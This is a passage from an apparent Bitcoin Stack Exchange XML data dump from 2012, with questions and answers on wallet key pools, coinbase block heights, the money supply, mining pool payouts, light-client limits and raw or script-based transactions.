  <row Id="5487" PostTypeId="1" CreationDate="2012-11-25T10:30:14.300" Score="5" ViewCount="335" Body="&lt;p&gt;I'm just assuming that the wallet.dat file created by the reference client contains just one private key. (Correct me if I'm wrong here)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know if the client generates additional private keys and if so, under what circumstances? Does a keypoolrefill affect the quantity of private keys? Does generating a given number of addresses cause an additional private key to be generated? etc...&lt;/p&gt;&#xA;" OwnerUserId="615" LastActivityDate="2012-11-25T10:57:27.143" Title="Once a wallet file is initially created, does the reference client generate additional private keys?" Tags="|address|private-key|keypool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5489" PostTypeId="2" ParentId="5487" CreationDate="2012-11-25T10:57:27.143" Score="7" Body="&lt;p&gt;When a wallet is created, it contains 100 keys in its &quot;key pool&quot;. Only one of them is made visible, but when you create a new address, it actually just takes one key from the pool. The reason for this is so you don't need to backup your wallet.dat file after every transaction or new address,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New keys are generated every time one is pulled from the key pool, if possible, to keep the key pool at size 100. In an encrypted wallet, the passphrase is required to store new keys, so the key pool is only filled when the wallet gets unlocked.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-11-25T10:57:27.143" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5491" PostTypeId="1" CreationDate="2012-11-25T14:28:23.180" Score="3" ViewCount="126" Body="&lt;p&gt;I was looking on &lt;a href=&quot;http://blockexplorer.com/&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/&lt;/a&gt; and saw a coinbase of 304602210088c72f5fae851934be23ea7f563ce0424397939480e52c27225efbd8c0c1fccc022100e882cc00e76ae150aefe76fa89a262198d4f1d67f95d2cc3a60ce189017c199901 and wondered what block it was a reward from. I didn't know if the coinbase has anything to do with what block it was generated in.&lt;/p&gt;&#xA;" OwnerUserId="2157" LastEditorUserId="5406" LastEditDate="2015-01-12T22:47:53.970" LastActivityDate="2015-01-12T22:47:53.970" Title="Is there any way to get the block number of generation from coinbase?" Tags="|block|coinbase-transaction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5492" PostTypeId="1" CreationDate="2012-11-25T16:57:15.043" Score="4" ViewCount="1854" Body="&lt;p&gt;All currencies are expanded when institutions begin loaning currency. How will bitcoin limit this growth? In economics there are several definitions of money such as M2, M3, etc. &lt;/p&gt;&#xA;" OwnerUserId="2303" LastActivityDate="2018-04-03T11:36:41.120" Title="How does bitcoin manage the money supply?" Tags="|banks|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5493" PostTypeId="2" ParentId="5492" CreationDate="2012-11-25T18:18:17.460" Score="0" Body="&lt;p&gt;Bitcoin is very different in that noone can control the amount of coins.&#xA;The system is limited to 21 million coins.&#xA;Last coin will be minted in 2140.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How the currency is minted is not something a single person can control. &#xA;If you try to change the system you are no longer compatible with the other Bitcoin clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The system has rules so that Bitcoins are created as awards to those who contribute their computer power to secure the system and calculate/distribute transactions. &#xA;This cost energy and anyone can do this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that its the first truly democratic electronic currency, since there is noone who have monopoly on creating the currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also akin to looking for gold and finding it, a process you can not control. But anyone can do.&#xA;The more resource you spend the more likely you are to find gold. However you are in competition with others doing this and the less energy you spend the more you earn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is thus a built in evolution into the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoins are thus not created out of nothing, but out of real energy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus in order to lend out a Bitcoin you must first have it. &#xA;Thats how people think the banks work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FIAT currency is simply created with the press of a button whenever someone takes a loan.&#xA;This leads to a constant loss in value, known as inflation which might be good for a country. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But bitcoin is not in a country its on the internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;97% of the FIAT currency are created &quot;expanded&quot; in the private banking system given out as loans. &#xA;That means that of all the currency you have in your hand, 97% of should be payed back to a bank, and even more since the banks also ask for interest rate on this money created out of air.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoins can not be payed back since they are not created out of a loan. &#xA;Since they are not borrowed into existence they do not come with an interest rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is the worlds first electronic debt free currency system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is the only electronic currency someone can truly own, in the sence that it should not be paid back and in the sence that it can be in 100% control of only the owner.&lt;/p&gt;&#xA;" OwnerUserId="2304" LastActivityDate="2012-11-25T18:18:17.460" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5494" PostTypeId="2" ParentId="5491" CreationDate="2012-11-25T18:23:27.613" Score="3" Body="&lt;p&gt;Blocks with a version of 2 or greater are required to put their block height in the coinbase. Your example doesn't. (At some point in the future, version 1 blocks will probably be discouraged and then banned.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockexplorer.com/tx/9b28e08dc0ddda87081a4b49eed615c55048eea44a71a6aac5ce343ea94d8517&quot; rel=&quot;nofollow&quot;&gt;Here's an example of one that does&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;038232030650b25c7d0f8bfabe6d6d0ebaccab777b7b5f4745bc81a22654d2fde018c3e8f06823670f5e790cbde3b6010000000000000000454d432055533300&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The block height is the first thing in the coinbase. 03 is how many bytes the number has. So the number is 0x823203 in Bitcoin's little endian byte ordering, or 0x033282 in the big-endian byte ordering that humans usually use. Convert this into decimal and you can see that this is block #209538.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-11-25T18:23:27.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5495" PostTypeId="2" ParentId="5492" CreationDate="2012-11-25T18:40:24.967" Score="9" Body="&lt;p&gt;The number of bitcoins in existence is limited to 21 million. This is the equivalent of M0, the monetary base. Whatever institutions do with it, creating M2, M3 etc. is not something that Bitcoin can or will control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is some more info on the Bitcoin wiki: &lt;a href=&quot;https://en.bitcoin.it/wiki/Controlled_Currency_Supply&quot;&gt;Controlled Currency Supply&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2012-11-25T18:40:24.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5496" PostTypeId="2" ParentId="4039" CreationDate="2012-11-25T19:44:35.650" Score="-1" Body="&lt;p&gt;If you are only mining a few hours a day, this will not likely work for you.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way DGM works is that at the start of a new block all miners start to gain credit for the block.  All miners will gain a cut.  For instants when I mine with 1.6 GH in a pool with about 1.8 TH I'll receive 0.043xxx BTC when the block is solved.  If the block takes 5 minutes I get that for 5 minutes work.  If it takes 5 hours then I have to work for 5 hours.  Over time this averages out so long runs and short runs are inconsequential.  However if you mine on a 5 hour block for only 2 hours then your reward is going to be substantially lower.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another point worth mentioning.  On many pools your award is not paid until the block is confirmed.  This usually takes about a day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My recommendation is to use a PPS Pool if you are going to only be mining from time to time.&lt;/p&gt;&#xA;" OwnerUserId="2199" LastActivityDate="2012-11-25T19:44:35.650" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5497" PostTypeId="2" ParentId="5150" CreationDate="2012-11-25T19:53:14.670" Score="1" Body="&lt;p&gt;Having been in the Army and understanding the stance that the US government has taken, I'm sure t will be up to the commanders.  Many of whom will not look kindly on the gesture.  The official stance will be known when they take action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you know the transactions are public and there are a number of efforts to build visualization and data mining tool sets.  This article address the anonymity of transactions and describes nicely why there is no real anonymity if someone wants to dig.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://anonymity-in-bitcoin.blogspot.com/2011/07/bitcoin-is-not-anonymous.html&quot; rel=&quot;nofollow&quot;&gt;http://anonymity-in-bitcoin.blogspot.com/2011/07/bitcoin-is-not-anonymous.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll also notice two other important things about the article.  One is that it focuses on WikiLeaks and that they are using Visualization tool sets.  this tells me someone is already looking to make connections.&lt;/p&gt;&#xA;" OwnerUserId="2199" LastActivityDate="2012-11-25T19:53:14.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5499" PostTypeId="2" ParentId="5478" CreationDate="2012-11-25T20:34:27.030" Score="7" Body="&lt;p&gt;For the MultiBit client:&#xA;(disclaimer: I am the lead dev)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) as you are not running a full node, you are not helping relay transactions nor mining nor verifying blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) if an attacker can surround your network they can feed you spurious transactions and a fake but well formed alternate fork. (I guess this is true for bitcoind too).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) MultiBit does not keep a database of unspent transaction outputs so importing an arbitrary key is slow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) you ARE downloading the full blocks and parsing them (though not storing the full blocks) so you can keep up to date with blockchain reorgs and such like. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;5) an unconfirmed transaction cannot be verified by checking all the inputs are unspent and thus you cannot rely on it until it is confirmed. A full node can check everything about the transaction. Only when it appears in a block (on the main chain) can you have any confidence in it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;6) not actually related to architecture but important for security: only the beta MultiBit code has encrypted wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;7) compared to bitcoind, the lightweight clients have less manpower working on them. If you want to use bitcoin in, say, a company environment then bitcoind would be the safer option. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In summary: there are a few limitations caused by not having access to the full block chain locally but for everyday use they should not hinder you too much. Factors more to do with what the devs have managed to implement (or not) probably make a bigger difference.&lt;/p&gt;&#xA;" OwnerUserId="888" LastEditorUserId="888" LastEditDate="2012-11-25T20:40:25.697" LastActivityDate="2012-11-25T20:40:25.697" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5500" PostTypeId="2" ParentId="4517" CreationDate="2012-11-25T23:15:28.167" Score="3" Body="&lt;pre&gt;&lt;code&gt;    while amount &amp;gt; 0:&#xA;        amount_i = int(mtgox_depth['bids'][index]['amount_int'])&#xA;        price_i = int(mtgox_depth['bids'][index]['price_int'])&#xA;        if amount_i &amp;lt; amount:&#xA;            total_value += amount_i * price_i&#xA;            amount -= amount_i&#xA;        elif amount_i &amp;gt;= amount:&#xA;            total_value += amount * price_i&#xA;            amount = 0&#xA;        index -= 1&#xA;    spot = int(total_value / float(total_amount))&#xA;    return spot&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Something like this, where mtgox_depth is a json object of &lt;a href=&quot;https://mtgox.com/api/1/BTCUSD/depth?raw&quot; rel=&quot;nofollow&quot;&gt;https://mtgox.com/api/1/BTCUSD/depth?raw&lt;/a&gt;, should work for you.&lt;/p&gt;&#xA;" OwnerUserId="615" LastActivityDate="2012-11-25T23:15:28.167" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5501" PostTypeId="2" ParentId="5492" CreationDate="2012-11-26T03:47:24.413" Score="1" Body="&lt;p&gt;If I lend a bitcoin to you, you are probably going to want me to transfer it to you. That transfer sends the one bitcoin out of my wallet and into your wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was no increase in the bitcoin money supply from that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say that I am a merchant and I sell to you a widget and extend to you payment terms in which you would pay one bitcoin due in 30 days. In this transaction, there were no bitcoins that changed hands or were required in any wallet but there was a debt created for one bitcoin.  This is simply a debt though and is not an increase in the bitcoin money supply.  There was no Bitcoin money created by me in this instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next consider a Bitcoin bank that takes bitcoin deposits and lends out bitcoins.  A Bitcoin bank can only lend out bitcoins from either its investment capital or from customer deposits.  This is unlike a bank that lends out fiat that is created by a central bank.  This Bitcoin bank can still do fractional reserve banking (i.e., only keep a faction of the amount of customer bitcoin deposits) but this does not increase the bitcoin money supply.  There were no bitcoins created by the bank by borrowing from a central bank and then lending them out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is the possibility that a Bitcoin bank could issue a check payable in bitcoins to a borrower where the borrower then uses that check for payment to a supplier, for instance.  But that check isn't money and the supplier can refuse to accept it as payment. Thus these checks also do not increase the bitcoin money supply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If these checks were to begin to circulate as currency, then that is a creation of a financial instrument that is separate from bitcoin.  If the bank were to issue checks for amounts that were not backed with bitcoins then that could be a form of money creation whose supply could be inflated by the debt however that money supply is not the bitcoin money supply and vice-versa.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-11-26T04:19:37.527" LastActivityDate="2012-11-26T04:19:37.527" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5502" PostTypeId="2" ParentId="5123" CreationDate="2012-11-26T03:50:14.007" Score="2" Body="&lt;p&gt;Every bitcoin client knows about every account. You don't need the keys that control the funds in an address to monitor it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Give your online server a list of your cold storage addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Periodically check the balance of those addresses, perhaps using the command &lt;code&gt;bitcoind getbalance [account]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Api&quot; rel=&quot;nofollow&quot;&gt;API reference&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Unfortunately, I was using the command I posted incorrectly. I think this functionality might not be in bitcoind. However, there is an open-source tool called &lt;a href=&quot;https://github.com/jtobey/bitcoin-abe&quot; rel=&quot;nofollow&quot;&gt;Abe&lt;/a&gt; that's worth looking into.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2012-11-26T09:44:18.153" LastActivityDate="2012-11-26T09:44:18.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5503" PostTypeId="1" AcceptedAnswerId="5524" CreationDate="2012-11-26T05:43:46.043" Score="5" ViewCount="606" Body="&lt;p&gt;I'm working on a project involving mining Bitcoins for charity. I'm writing my own miner, and though I may eventually set up my own pool for this purpose, for now I'm planning on using existing pools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: how can I set up the miner so that people can use it to mine toward my organization's Bitcoin address (if having a single address is even the right approach to take), without exposing this address to theft from anyone who reads the credentials from the miner's &lt;code&gt;getwork&lt;/code&gt; requests? My understanding is that the &lt;code&gt;HTTP Basic Auth&lt;/code&gt; used in &lt;code&gt;getwork&lt;/code&gt; requests &lt;a href=&quot;http://en.wikipedia.org/wiki/Basic_access_authentication#Disadvantages&quot; rel=&quot;nofollow&quot;&gt;doesn't pass values in a safe way&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As is probably evident from this question, I'm generally pretty fuzzy on how wallets interact with payouts from mining pools and/or Bitcoins stored in accounts with said pools, so any explanation there would also be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2029" LastEditorUserId="516" LastEditDate="2012-11-26T09:10:07.310" LastActivityDate="2017-12-03T23:30:30.060" Title="How to structure a Bitcoin charity miner?" Tags="|mining-pools|address|pool-payout-methods|charity|pool-operators|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="5504" PostTypeId="2" ParentId="4039" CreationDate="2012-11-26T08:20:05.250" Score="2" Body="&lt;p&gt;Yes. If you mine at a given point in time, you do not know when a block will be found, and thus your reward for shares you submit is a random variable. DGM is constructed so that the average reward for a submitted share is always equal to what you would get from it in PPS (assuming equal fees). The total reward for all shares you submit is additive - so it follows that the average reward you get in DGM is equal to what you would get in PPS, no matter what is your mining pattern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the reward you will get is random and has some variance, and the variance is greater if your mining is intermittent. The exact degree of this depends on the parameters used by the pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More background information about mining pool reward methods can be found in &lt;a href=&quot;https://bitcoil.co.il/pool_analysis.pdf&quot; rel=&quot;nofollow&quot;&gt;Analysis of Bitcoin Pooled Mining Reward Systems&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-11-26T08:20:05.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5505" PostTypeId="1" CreationDate="2012-11-26T09:21:08.370" Score="4" ViewCount="854" Body="&lt;p&gt;What's the risk of public Bitcoin address, except  person - account link is publically known. Or, is it preferable to have one such account?&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="1409" LastEditDate="2012-11-26T18:24:01.203" LastActivityDate="2012-11-26T18:24:01.203" Title="What's the risk of publicizing a Bitcoin address?" Tags="|security|privacy|bitcoin-core-accounts|risk-mitigation|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5506" PostTypeId="2" ParentId="5505" CreationDate="2012-11-26T10:39:54.813" Score="7" Body="&lt;p&gt;For privacy, Bitcoin relies on &quot;pseudonymity&quot;, which means that the only way people can choose not to disclose their identity, is by making it hard to link addresses to people/businesses/....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Publishing an address publicly obviously makes you give up that privacy, but that's not a problem. everyone is free to choose so of course. The problem is that it also makes it easier to trace the identity of others, by linking addresses after following transactions in the block chain. Publishing addresses may in this way decrease the privacy of many people using the system, including people who are unrelated to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even just reusing the same address for multiple receiving transactions is already bad for the network in this sense, as it increases the ability to link transactions and addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The general advice is to use each receiving address just once. This also makes it easier to distinguish incoming transactions, for example.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-11-26T10:39:54.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5507" PostTypeId="2" ParentId="5481" CreationDate="2012-11-26T13:15:13.513" Score="8" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;So is there a nice tutorial which explains how to start mining using FPGA.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not really, not a &quot;starting from scratch&quot; one.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Or this is so complicated?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, it is quite complicated - in order to work with FPGAs, some additional skills on top of software are required.  You need to understand logic design and some (fairly basic) electronics in order to make a successful FPGA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as a learning project, if it's something that interests you, I'd say it's worth a go - you'll learn a lot, but it won't be a quick-and-easy learning experience :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But start small - first off, write an FPGA which just flashes an LED on and off slowly - that enables you to learn lots of the low-level details without a complex logic design going on.  The FPGA equivalent of &quot;Hello World&quot;!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you've already done some FPGA work, then &quot;all&quot; you need to do is build a SHA implementation, some method of getting data to and from it and a little control logic.  I haven't done it myself, but I got about that far along a &quot;thought-design&quot; before deciding I wasn't sufficiently interested to pursue it further.&lt;/p&gt;&#xA;" OwnerUserId="256" LastEditorUserId="256" LastEditDate="2012-11-27T13:49:37.310" LastActivityDate="2012-11-27T13:49:37.310" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5508" PostTypeId="1" CreationDate="2012-11-26T15:57:55.710" Score="6" ViewCount="2190" Body="&lt;p&gt;Due to complete lack of documentation on the subject, how would the pseucode for creating a transaction look using the following functions: &lt;code&gt;createrawtransaction&lt;/code&gt; &lt;code&gt;signrawtransaction&lt;/code&gt; and &lt;code&gt;sendrawtransaction&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I receive the user transaction for incoming coins on IncomingTxID, when I create a raw transction I want to include at least some of those coins so if they won't confirm, neither will his payout.&lt;/p&gt;&#xA;" OwnerUserId="2308" LastEditorUserId="120" LastEditDate="2013-03-05T18:13:44.800" LastActivityDate="2013-03-18T17:50:19.423" Title="Manually creating transactions" Tags="|development|bitcoind|json-rpc|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5510" PostTypeId="1" AcceptedAnswerId="5511" CreationDate="2012-11-26T18:44:34.417" Score="5" ViewCount="1105" Body="&lt;p&gt;I have been reading about the role of script in transactions and I gather it should be possible to do a Bitcoin transfer to a receiver who knows a password. Instead of checking an address, the script would check that the hash of an input corresponds to the value given by the sender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a few doubts on how this would work exactly. The script I have in mind, following the notation used in &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Script&lt;/a&gt; for standard and IP transactions, is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scriptPubKey: OP_HASH160 &amp;lt;passwordHash&amp;gt; OP_EQUALVERIFY OP_CHECKSIG&#xA;scriptSig: &amp;lt;sig&amp;gt;&amp;lt;pubKey&amp;gt;&amp;lt;password&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The transfer would have six steps:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;- Stack: Empty  Script: &amp;lt;sig&amp;gt;&amp;lt;pubKey&amp;gt;&amp;lt;password&amp;gt; OP_HASH160 &amp;lt;passwordHash&amp;gt; OP_EQUALVERIFY OP_CHECKSIG&#xA;- Stack: &amp;lt;sig&amp;gt;&amp;lt;pubKey&amp;gt;&amp;lt;password&amp;gt;  Script: OP_HASH160 &amp;lt;passwordHash&amp;gt; OP_EQUALVERIFY OP_CHECKSIG&#xA;- Stack: &amp;lt;sig&amp;gt;&amp;lt;pubKey&amp;gt;&amp;lt;passwordhashA&amp;gt;  Script: &amp;lt;passwordHash&amp;gt; OP_EQUALVERIFY OP_CHECKSIG&#xA;- Stack: &amp;lt;sig&amp;gt;&amp;lt;pubKey&amp;gt;&amp;lt;passwordhashA&amp;gt;&amp;lt;passwordHash&amp;gt;  Script:  OP_EQUALVERIFY OP_CHECKSIG&#xA;- Stack: &amp;lt;sig&amp;gt;&amp;lt;pubKey&amp;gt;   Script:  OP_CHECKSIG&#xA;- Stack: true   Script:  Empty&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have left OP_HASH160 because it is already being used so no new operation is needed, but the other hashes in script should be possible. The protocol has some nice properties like making the password public when the coins are transferred. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this code correct? Is there something similar in the blockchain? I would like to try it, but I'm not really sure how to connect to the network with such a script. Should I first create a transaction to a &quot;Bitcoin Limbo&quot; and then try to recover it to the final address?&lt;/p&gt;&#xA;" OwnerUserId="2281" LastActivityDate="2012-11-26T19:24:59.647" Title="Password-based bitcoin transactions" Tags="|transactions|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5511" PostTypeId="2" ParentId="5510" CreationDate="2012-11-26T19:24:59.647" Score="6" Body="&lt;p&gt;What if somebody sees the password as the transaction is being relayed around, and makes a new version that transfers your bitcoins to them? If they have better network integration/a higher bandwidth connection, then their version might be able to overtake yours.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2012-11-26T19:24:59.647" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5512" PostTypeId="5" CreationDate="2012-11-26T19:59:27.817" Score="0" Body="" OwnerUserId="2306" LastEditorUserId="121614" LastEditDate="2022-01-03T15:39:08.460" LastActivityDate="2022-01-03T15:39:08.460" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="5513" PostTypeId="4" CreationDate="2012-11-26T19:59:27.817" Score="0" Body="DO NOT USE. BlockExplorer was a specific service that displayed information about the Bitcoin blockchain. Use the [blockchain-explorer] tag for questions about blockchain explorers in general." OwnerUserId="2306" LastEditorUserId="13866" LastEditDate="2022-03-21T10:35:20.607" LastActivityDate="2022-03-21T10:35:20.607" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="5515" PostTypeId="1" AcceptedAnswerId="5517" CreationDate="2012-11-27T04:05:59.050" Score="7" ViewCount="16885" Body="&lt;p&gt;I know that mining pool shares have no value on their own, but it should be possible to find an average value based on the pool's average payout per share. &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_pool_reward_FAQ#What_will_be_my_expected_payout_per_share.3F&quot; rel=&quot;nofollow&quot;&gt;This site&lt;/a&gt; describes the expected payout per share as &lt;code&gt;([block reward] - [pool operator's cut]) / [difficulty]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to me that a share's &quot;value&quot; would necessarily be related to the difficulty as set by the pool--a pool with shares that are harder to find will have its users find fewer shares, making each share &quot;worth&quot; more. However, the equation above clearly doesn't work with the pool's difficulty, as most pools set difficulty to 1 and a share isn't worth ~48 BTC. How can I reconcile these issues to calculate the expected payout per share of a pool without knowing how many total shares are found?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ah, I think I've figured it out. The difficulty in the equation can be the network difficulty, because that's what makes it more or less likely that a given successful hash (earning a share) in a pool solves the block and earns the block reward. Thus, the network difficulty indirectly limits the value of a share. Is this correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit Again:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And now I'm back to being confused. If Pool A sets a higher difficulty than Pool B, Pool A's shares are worth more than Pool B's (assuming the same number of miners at a set hash rate) because they're rarer so each share will earn more at payout. How is this taken into account in the equation?&lt;/p&gt;&#xA;" OwnerUserId="2029" LastEditorUserId="5406" LastEditDate="2016-03-31T17:17:10.240" LastActivityDate="2016-03-31T17:17:10.240" Title="How much is a mining pool share worth on average?" Tags="|mining-pools|mining-profitability|value|mining-pool-shares|pool-payout-methods|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5517" PostTypeId="2" ParentId="5515" CreationDate="2012-11-27T08:11:26.980" Score="7" Body="&lt;p&gt;If the global network difficulty is D and the difficulty of shares in the pool is d, then the probability that a share will lead to a valid block is d/D. The reward in this case is B, so the average reward per share is B*(d/D). If the operator's average fee is f (so for example f=0.01 means 1% fee), the average reward miners get per share submitted is (1-f) * B * (d/D).&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-11-27T08:11:26.980" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5518" PostTypeId="1" CreationDate="2012-11-27T09:20:51.663" Score="13" ViewCount="4728" Body="&lt;p&gt;Suppose I want to &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;get the balance of an address I don't own, or&lt;/li&gt;&#xA;&lt;li&gt;see all the transactions recently made&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Block Explorer has this information, but I don't want to use it&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;because of security (they might lie)&lt;/li&gt;&#xA;&lt;li&gt;because of privacy (they might log queries)&lt;/li&gt;&#xA;&lt;li&gt;because it introduces an additional point of failure&lt;/li&gt;&#xA;&lt;li&gt;because it's not terribly quick, being a free service and all&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How can I get this information from my &lt;code&gt;bitcoind&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-11-17T17:52:21.870" Title="How do I access information on blockexplorer.com or blockchain.info without issuing requests to those websites?" Tags="|blockexplorer|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
